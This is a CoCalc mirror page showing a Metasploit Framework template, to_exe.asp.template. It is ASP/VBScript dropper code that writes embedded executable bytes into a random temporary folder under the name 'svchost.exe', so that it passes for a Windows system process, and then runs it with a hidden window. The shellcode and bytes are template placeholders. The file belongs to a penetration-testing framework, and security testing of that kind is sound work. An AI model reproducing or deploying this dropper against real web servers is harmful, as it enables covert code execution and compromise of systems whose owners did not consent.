CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/data/templates/scripts/to_exe.asp.template
Views: 1904
<%% @language="VBScript" %%>
<%% 
	Sub %{var_func}()
		%{var_shellcode}
		Dim %{var_obj}
		Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
		Dim %{var_stream}
		Dim %{var_tempdir}
		Dim %{var_tempexe}
		Dim %{var_basedir}
		Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
		%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
		%{var_obj}.CreateFolder(%{var_basedir})
		%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
		Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0)
		%{var_stream}.Write %{var_bytes}
		%{var_stream}.Close
		Dim %{var_shell}
		Set %{var_shell} = CreateObject("Wscript.Shell")
		%{var_shell}.run %{var_tempexe}, 0, false
	End Sub

	%{var_func}
%%>